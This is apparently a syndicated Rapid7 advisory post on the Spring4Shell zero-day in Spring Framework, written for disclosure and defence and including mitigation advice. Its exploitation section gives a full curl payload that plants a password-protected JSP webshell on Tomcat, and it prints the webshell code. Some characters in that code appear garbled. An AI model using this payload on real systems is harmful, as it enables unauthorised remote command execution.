Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/
If you are like many in the cybersecurity industry, any mention of a zero-day in an open-source software (OSS) library may cause a face-palm or audible groans, especially given the fast-follow from Log4Shell. While discovery and research is evolving, we’re posting the facts we’ve gathered and updating guidance as new information becomes available.
What Rapid7 customers can expect
Our team is continuing to investigate and validate additional information about this vulnerability and its impact. This is a quickly evolving incident, and we are researching development of both assessment capabilities for our vulnerability management and application security solutions and options for preventive controls. As additional information becomes available, we will evaluate the feasibility of vulnerability checks, attack modules, detections, and Metasploit modules.
Our team will be updating this blog continually. Our next update will be at 9 PM EDT on March 30, 2022.
Introduction
On March 30, 2022, rumors began to circulate about an unpatched remote code execution (RCE) vulnerability in Spring Framework when a Chinese-speaking researcher published a GitHub commit that contained proof-of-concept (PoC) exploit code. The exploit code targeted a zero-day vulnerability in the Spring Core module of the Spring Framework. Spring is maintained by Spring.io (a subsidiary of VMWare) and is used by many Java-based enterprise software frameworks. The vulnerability in the leaked proof of concept, which appeared to allow unauthenticated attackers to execute code on target systems, was quickly deleted.
A lot of confusion followed for several reasons:
- The researcher’s original technical writeup needed to be translated.
- The vulnerability (and proof of concept) isn’t exploitable with out-of-the-box installations of Spring Framework. The application has to use specific functionality, which we explain below.
- A completely different unauthenticated RCE vulnerability was published yesterday (March 29, 2022) for Spring Cloud, which led some in the community to conflate the two unrelated vulnerabilities.
Rapid7’s research team has confirmed the zero-day vulnerability is real and provides unauthenticated remote code execution. Proof-of-concept exploits exist, but it’s currently unclear which real-world applications use the vulnerable functionality. This code ends up resulting in widespread exploitation or no exploitation at all, depending on how the features are used.
Recreating exploitation
The vulnerability appears to affect functions that use the @RequestMapping annotation and POJO (Plain Old Java Object) parameters. Here is an example we hacked into a Springframework MVC demonstration:
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
/**
* @author Ramesh Fadatare
*/
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Here we have a controller (HelloWorldController) that, when loaded into Tomcat, will handle HTTP requests to http://name/appname/rapid7. The function that handles the request is called vulnerable and has a POJO parameter HelloWorld. Here, HelloWorld is stripped down but POJO can be quite complicated if need be:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
And that’s it. That’s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15. (We have not explored further back than 4.3.0.)
If we compile the project and host it on Tomcat, we can then exploit it with the following curl command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7
This payload drops a password protected webshell in the Tomcat ROOT directory called tomcatwar.jsp, and it looks like this:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Attackers can then invoke commands. Here is an example of executing whoami to get albinolobster:
The Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.
About the payload
The payload we’ve used is specific to Tomcat servers. It uses a technique that was popular as far back as the 2014 and alters the Tomcat server’s logging properties via ClassLoader. The payload simply redirects the logging logic to the ROOT directory and drops the file + payload. A good technical writeup can be found here.
This is just one possible payload and will not be the only one. We’re certain that malicious class-loading payloads will appear quickly.
Mitigation guidance
This zero-day vulnerability is unpatched and has no CVE assigned as of March 30, 2022. The Spring documentation for DataBinder explicitly notes:
… [T]here are potential security implications in failing to set an array of allowed fields. In the case of HTTP form POST data for example, malicious clients can attempt to subvert an application by supplying values for fields or properties that do not exist on the form. In some cases this could lead to illegal data being set on command objects or their nested objects. For this reason, it is highly recommended to specify the allowedFields property on the DataBinder.
Therefore, one line of defense would be to modify source code of custom Spring applications to ensure those field guardrails are in place. Organizations that use third-party applications susceptible to this newly discovered weakness cannot take advantage of this approach.
If your organization has a web application firewall (WAF) available, profiling any affected Spring-based applications to see what strings can be used in WAF detection rulesets would help prevent malicious attempts to exploit this weakness.
Until a patch is available, and if an organization is unable to use the above mitigations, one failsafe option is to model processes executions on systems that run these Spring-based applications and then monitor for anomalous, “post-exploitation” attempts. These should be turned into alerts and acted upon immediately via incident responders and security automation. One issue with this approach is the potential for false alarms if the modeling was not comprehensive enough.
Vulnerability disambiguation
There has been significant confusion about the zero-day vulnerability we discuss in this blog post because an unrelated vulnerability in another Spring project was published yesterday (March 29, 2022). That vulnerability, CVE-2022-22963, affects Spring Cloud Function, which is not in Spring Framework. Spring released versions 3.1.7 and 3.2.3 to address CVE-2022-22963. CVE-2022-22963 is completely unrelated to the zero-day RCE under investigation in this blog post.
Further, yet another vulnerability CVE-2022-22950 was assigned on March 28th. A fix was released on the same day. To keep things confusing, this medium-severity vulnerability (which can cause a DoS condition) DOES affect Spring Framework versions 5.3.0 to 5.3.16. This CVE is completely unrelated to the zero-day RCE under investigation in this blog post.
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